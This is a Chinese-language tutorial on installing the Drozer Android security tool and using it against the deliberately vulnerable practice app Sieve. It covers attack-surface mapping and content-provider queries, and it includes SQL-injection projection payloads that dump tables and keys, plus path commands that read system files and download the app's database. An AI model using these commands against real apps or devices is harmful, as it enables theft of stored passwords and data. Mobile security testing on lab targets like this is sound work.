Drozer 官网地址https://labs.mwrinfosecurity.com/
Drozer是帮助我们检测Android设备中App应用的漏洞的安全工具。
一、安装
默认我们都有Android开发环境依赖的 JDK AndroidSDK 和 Python2.7(Mac 默认自带) 并且环境变量都已经配置,这里主要介绍一下Mac上的安装过程,具体其他系统安装过程可以参考官网文档。
要安装drozer,首先要确保您的电脑安装了Python 2.7。然后,安装drozer的依赖项
1.1安装openssl
Drozer需要特殊版本的openssl,我们需要下载 pyOpenSSL v0.13,然后用sed指令修复typo,具体指令:
1.1.1 $ wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.tar.gz
1.1.2 $ tar xzvf pyOpenSSL-0.13.tar.gz
1.1.3 $ cd pyOpenSSL-0.13
1.1.4 $ sed -i '' 's/X509_REVOKED_dup/X509_REVOKED_dupe/' OpenSSL/crypto/crl.c
1.1.5 $ python setup.py build_ext -L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include
1.1.6 $ python setup.py build
1.1.7 $ python setup.py install
1.2安装protobuf
$ easy_install --allow-hosts pypi.python.orgprotobuf
我们从https://github.com/protocolbuffers/protobuf/releases?after=v2.4.1rc1下载protobuf2.4.1版本执行以下安装命令
1、tar zxvf protobuf-2.4.1.tar.gz
2、cd protobuf-2.4.1
3、./configure
4、make(如果出现以下error
3 errors generated.
make[2] : *** [message.lo] Error 1
make[2] : *** [all -recursive] Error 1
make : *** [all] Error2
解决方案:
4.1\. 打开protobuf-2.4.1/src/google/protobuf/message.cc文件
4.2\. 添加 #include 后关闭文件,重新执行:make 即可)
5、make check
6、make install
执行命令:protoc —version 如果出现libprotoc 2.4.1则说明安装成功
1.3 安装twisted 可以忽略警告和报错,执行一下命令即可
$ easy_install twisted==10.2.0
1.4 安装drozer
$ sudo easy_install ./drozer-2.3.4-py2.7.egg
此外我们可以直接下载drozer(Python.whl)版本,执行下面命令急性安装
$ sudo pip install drozer-xxx.whl --ignore-installed pyOpenSSL
安装drozer成功后可以输入drozer验证出现一下表示安装成功
二、使用
2.1、在真机安装drozer官网提供的agent.apk和sieve.apk
2.2、在电脑端开启转发
$ adb forward tcp:31415 tcp:31415
2.3、手机端启动Embedded Server
2.4、在电脑端启动drozer console 输入一下命令
$ drozer console connect
2.5 Drozer命令
2.5.1 获取获取Android设备上的所有的安装的App的包名,如果想具体查找某个App可加上-f [App关键字]的参数,如查找sieve在Android设备中的包名(sieve.apk在drozer官网上,一个'密码管理器'应用程序,展示了一些常见的Android漏洞)
> run app.package.list -f sieve
2.5.2 获取Sieve的一些基本信息
> run app.package.info -a com.mwr.example.sieve
2.5.3 确定攻击面
> run app.package.attacksurface com.mwr.example.sieve
结果显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。 services is debuggable表示我们可以用adb绑定一个调试器到进程。
2.5.4进一步获取攻击面的信息
> run app.activity.info -a com.mwr.example.sieve
2.5.5启动Activities,这里启动是sieve包里的PWList
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
2.5.6从Content Provider中获取信息
> run [app.provider.info](http://app.provider.info/)-a com.mwr.example.sieve
2.5.6.1 查找可以访问Content Provider的URI(数据泄漏)
>run scanner.provider.finduris -a com.mwr.example.sieve
上图中检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息。
> run app.provider.query
2.5.7执行SQL注入,Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。 使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Content provider。如:
> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection “'"
> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--selection “'"
上面两条命令执行后Android设备返回了非常详细的错误信息。使用Sql注入列出数据库中的所有数据表:
> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection "* FROM SQLITE_MASTER WHERE type='table';--"
使用SQL注入列出数据表的内容:
>run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)
--projection "* FROM Key;—“
2.5.8 从File System-Backed Content Providers获取信息,File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。
>run app.provider.read [content://com.mwr.example.sieve.FileBackupProvider/etc/hosts](content://com.mwr.example.sieve.FileBackupProvider/etc/hosts)
可以使用app.provider.download下载文件
>run app.provider.download [content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db](content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db)/Users/wangzhen/Desktop/databse.db
2.5.9 检查Content Provider的脆弱性
2.5.9.1检查是否有SQL注入:
>run scanner.provider.injection -a com.mwr.example.sieve
2.5.9.2检查是否存在遍历文件的漏洞
>run scanner.provider.traversal -a com.mwr.example.sieve
2.5.10 和Services交互
2.5.10.1 获取是exported状态的services的命令
> run app.service.info -a com.mwr.example.sieve
2.5.10.2 向服务发送消息
> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3